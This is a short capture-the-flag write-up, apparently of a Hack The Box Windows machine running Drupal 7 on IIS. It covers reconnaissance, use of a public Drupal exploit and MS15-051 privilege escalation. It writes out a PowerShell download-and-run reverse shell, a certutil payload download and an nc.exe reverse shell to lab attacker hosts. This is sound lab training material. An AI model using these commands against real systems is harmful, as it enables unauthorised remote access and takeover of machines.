Windows - Medium - Bastard

Created At： Updated At：

Recon

$nmap -p- -A 10.129.139.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-14 15:27 UTC
Nmap scan report for 10.129.139.175
Host is up (0.032s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Drupal CMS welcomes us on port 80.

3d5f7529402198853e56f4f775c09bf0.png

We can grab it’s version by going to /CHANGELOG.TXT.

c3571578857a3e5954a63c20472279d8.png

Checing it with NIST, we can see that it has juicy 9.8 Critical CVE.

e9e431a9661cbee079d5f7ddbd5887e9.png

We can find then PoC of the exploit on github.

74aa9cc374af3a3be0a91107b7b786d6.png

e675c7015f75d4aa0a53c824b58a89b8.png

We can get reverse shell using Invoke-PowerShellTcp.ps1

powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.66.152 -Port 4242

924f522fb4c4385b00fe52098b59f630.png

e801800378de583556274a1d6dc36057.png

0eb4e1b8c1af1d85e5f5853e2da217f3.png

Privilage escalation

abb9d487de51a8f94375d9a7ead4bb70.png

It’s vanilla windows 2008 server, so we can run exec exploiting MS15-051.

We can send it over using http-server again, and get it using certutil.exe -urlcache -split -f http://10.10.16.21/ms15-051x64.exe ms15-051x64.exe.

d551930ee89afaf91fc53ab748e549b5.png

It works, so we can get reverse shell with admin, by sending over nc and running ".\ms15-051x64.exe “nc.exe -e cmd.exe 10.10.16.21 5555”

0141948cab45be26420ece76b85e8f4d.png